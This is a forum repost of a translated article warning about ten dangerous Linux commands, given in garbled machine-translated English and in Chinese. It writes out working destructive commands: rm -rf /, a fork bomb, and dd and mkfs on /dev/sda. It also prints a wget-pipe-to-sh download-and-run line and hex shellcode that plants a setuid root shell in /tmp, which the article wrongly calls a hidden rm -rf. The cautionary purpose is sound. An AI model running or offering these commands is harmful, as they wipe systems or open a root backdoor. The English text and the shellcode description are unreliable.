Go homepage(回首页)
Upload pictures (上传图片)
Write articles (发文字帖)

The author:(作者)aaa
published in(发表于) 2013/12/8 8:35:14
Never in the Linux implementation of the 10 most dangerous command,

Never execute Linux command-Linux,Linux command line-IT 10 most dangerous information Never execute Linux commands from the 10 most dangerous

Really useful Linux command line, very efficient, and very interesting, but sometimes, it can also be very dangerous, especially when you're unsure of what you are doing. This article is not intended to attract your anger to Linux or Linux command line. We just wanted to make you aware when you run certain commands should think twice before taking any action. (Needed: of course, the following commands are usually the root permissions can be hopelessly stupid moves; under the regular user, destroying three points just own an acre of land. )

1. RM-RF command

RM-RF command is to delete the folder and its contents is one of the fastest ways. The mistype or just a little ignorance can cause unrecoverable system collapse. Following are some of the RM command options.

RM command is often used to delete a file in Linux.

RM-r command recursively deletes folders, or even an empty folder. (YouTube: view here should be wrong, from the perspective of common sense, should be "even non-empty folders")

RM-f the command without asking just delete ' read-only '. (YouTube: delete files under Linux and does not care whether the file is read-only, but only care about whether or not the parent directory has write access. So,-f just don't delete confirmation of this parameter, but will be quietly deleted. In addition, the original RM command is also not deleted here, only release RM alias way will increase the-i parameter to request deletion confirmation and-f inhibit the tips. )

RM-RF/: force the deletion of all the stuff below the root directory. (That is when you have finished deleting, nothing ... )

RM-RF*: force the deletion of all files of the current directory.

rm -rf . : Force the deletion of the current folder and its subfolders.

From now on, when you execute the RM-RF command when you want to look a bit. We can ". bashrc" file 'rm' command create alias RM-i, to prevent accidents when using the 'rm' command to delete a file, it will ask you to confirm each deletion request. (Says most distributions already do so, if you haven't already, please do so, and must take into account before using the-f parameter well what you're doing! Translator I have a lesson of blood and tears. )

2. in: () {: |:&};: commands

This is an example of a fork bomb. Concrete actions are defined by a function named ':', which calls itself twice, once in the foreground once running in the background. It will repeatedly enforce it until the system crashes.

: () {: |:&Amp;};: Oh? Are you sure that you want to try it? Please don't experiment on a company server ~ ~

3. orders >/dev/sda

Command above will be a ' command ' write output to the block device/dev/sda. This operation will replace all the blocks in a block device for command writes the raw data, resulting in loss of data for an entire block devices.

4. the MV folder/dev/null

This command will move a ' folder ' to/dev/null. /Dev/null in the Linux or the null device is a special file, all data written to it will be cleared, and then returns the write operation is successful. (Says it's a black hole. Of course, needs to be made clear is that by moving the folder to a black hole, does not block data recovery software saved, so the real total destruction, using special software or techniques are needed to finish--I'm sure you have something you want to remove and clean. )

#MV/home/user/*/dev/null the above command will move all content to the User Directory/dev/null, which means that everything is ' involved ' black hole (null).

5. wget http://malicious_source -O- | sh

Above commands from a (probably) malicious sources to download a script and execute it. Wget command will download this script, and sh (unconditional) executes the download script.

Note: you should always pay attention to your download or script in the source. Can only use those scripts/programs to download from trusted sources. (Needed: so, do you really know what you're doing? When confronted with this need is, my approach is that wget down first, then I what to read what was written, and then consider whether you want to perform. )

6. mkfs.ext3 /dev/sda

Above command will format the block device 'sda', you've no doubt knows, after executing the above command you block device (hard drive) will be formatted and fresh! no data directly to keep your system up to non-recoverable phase. (: The devices usually does not use/dev/sda directly, unless it is used as a raw device, SDA commonly need to be divided into similar sda1, sda2 partition only after its use. Of course, whether you use SDA or sda1, mkfs is devastating for block device or partition, the data will be lost. )

7. > file

The above command is often used to clear the contents of the file (needed often is used to record the output of a command. But before execution, confirm that the output file is empty or does not exist, or the original file is restored--was not even data recovery software may not be able to help you. In addition, I think you might really want is ">>", that is, add new output to a file instead of flushing the file. )。 If you entered when the implementation of the above is wrong, or ignorant, enter something like ">XT.conf" command will overwrite the configuration file, or any other system configuration files.

8. ^foo^bar

The orders in our ten little-known have described in the Linux command-Part 3, used to edit a previously run command without having to retype the whole command. But when using foobar commands if you didn't thoroughly examine the risk of altering the original command, this can lead to real trouble. (Needed: actually, this tip is the translator believes that minorities left behind by prehistoric times useless and harmful "hacking" techniques. )

9. dd if=/dev/random of=/dev/sda

Above command will write random rubbish files to the block device SDA to wipe out data. Of course! Your system may fall into chaos and unrecoverable state. (Needed to remember said the MV into a black hole does not completely remove the data above it? Then the command is given you a way to completely remove it! Of course, just to be sure, you can write multiple times. )

10. hidden commands

The command below is in fact the first command above (RM-RF). Here's code is hidden in the hex, an innocent users may be fooled. In the Terminal, run the following commands may erase your root partition.

This command shows that real danger is normally hidden and will not be easily detected. You must always keep an eye on what you're doing what will be the outcome. Do not compile/run code from an unknown source.

char esp[] __attribute__ ((section(".text"))) /* e.s.p

release */

="\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″

"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″

"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″

"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″

"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″

"\x6e\x2f\x73\x68\x00\x2d\x63\x00″

"cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;"; Note: do not you or your classmates or school computer terminal or Linux Shell to perform any one of the above commands. If you want to test them, please run on the virtual machine. Any discord or data loss caused by running the command above your system crashes, authors and Tecmint is not responsible for. (YouTube: translator and reprint Web site is not responsible for ~! )

Translator:Luoxcat proof: WXY

This article by LCTT original translations,Linux China honors introduced


(

永远不要在Linux执行的10个最危险的命令 - Linux,Linux命令行 - IT资讯
永远不要在Linux执行的10个最危险的命令

Linux命令行佷有用、很高效,也很有趣,但有时候也很危险,尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对Linux或linux命令行的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。(译注:当然,以下命令通常都是在root权限下才能将愚蠢发挥到无可救药;在普通用户身份下,破坏的只是自己的一亩三分地。)

1. rm -rf命令

rm -rf命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些rm命令的选项。

rm 命令在Linux下通常用来删除文件。

rm -r命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)

rm -f命令能不经过询问直接删除‘只读文件’。(译注:Linux下删除文件并不在乎该文件是否是只读的,而只是在意其父目录是否有写权限。所以,-f这个参数只是表示不必一个个删除确认,而是一律悄悄删除。另外,原始的rm命令其实也是没有删除提示的,只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认,而-f则抑制了这个提示。)

rm -rf / :强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)

rm -rf *: 强制删除当前目录的所有文件。

rm -rf . :强制删除当前文件夹及其子文件夹。

从现在起,当你要执行rm -rf命令时请留心一点。我们可以在“.bashrc”文件对‘rm‘命令创建rm -i的别名,来预防用‘rm‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么!译者本人有着血泪的教训啊。)

2. :(){:|:&};:命令

这就是个fork炸弹的实例。具体操作是通过定义一个名为‘:‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。

:(){:|:&};:哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~

3.命令 > /dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。

4. mv文件夹/dev/null

这个命令会移动某个‘文件夹‘到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)

# mv /home/user/* /dev/null上列命令会将User目录所有内容移动到/dev/null,这意味着所有东西都被‘卷入’黑洞 (null)之中。

5. wget http://malicious_source -O- | sh

上列命令会从一个(也许是)恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会(无条件的)执行下载下来的脚本。

注意:你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。(译注:所以,你真的知道你在做什么吗?当遇到这种需要是,我的做法是,先wget下来,然后我去读一读其中到底写了些什么,然后考虑是否执行。)

6. mkfs.ext3 /dev/sda

上列命令会格式化块设备‘sda’,你无疑知道在执行上列命令后你的块设备(硬盘驱动器)会被格式化,崭新的!没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备,除非是作为raw设备使用,一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然,无论你使用sda还是sda1,这样对块设备或分区进行mkfs都是毁灭性的,上面的数据都会被蒸发了。)

7. > file

上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似“> xt.conf” 的命令会覆盖配置文件或其他任何的系统配置文件。

8. ^foo^bar

这个命令在我们十个鲜为人知的Linux命令- Part 3中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)

9. dd if=/dev/random of=/dev/sda

上列命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。(译注:记得上面说过mv到黑洞并不能彻底删除数据么?那么这个命令就是给了你一个彻底删除的方法!当然为了保险起见,你可以覆写多次。)

10.隐藏命令

下面的命令其实就是上面第一个命令(rm -rf)。这里的代码是隐藏在十六进制里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的根分区。

这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。

char esp[] __attribute__ ((section(“.text”))) /* e.s.p

release */

=“\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″

“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″

“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″

“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″

“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″

“\x6e\x2f\x73\x68\x00\x2d\x63\x00″

“cp -p /bin/sh /tmp/.beyond; chmod 4755

/tmp/.beyond;”;注意:不要在你的或你的同学或学校的电脑里的Linux终端或Shell执行以上的任何一个命令。如果你想测试它们,请在虚拟机上运行。任何不和谐或数据丢失,由于运行上面的命令导致你的系统崩溃,文章作者和Tecmint概不负责。(译注:译者和转载网站也不负责~!)

译者:Luoxcat 校对:wxy

本文由 LCTT 原创翻译,Linux中国 荣誉推出


)


If you have any requirements, please contact webmaster。(如果有什么要求,请联系站长)





QQ:154298438
QQ:417480759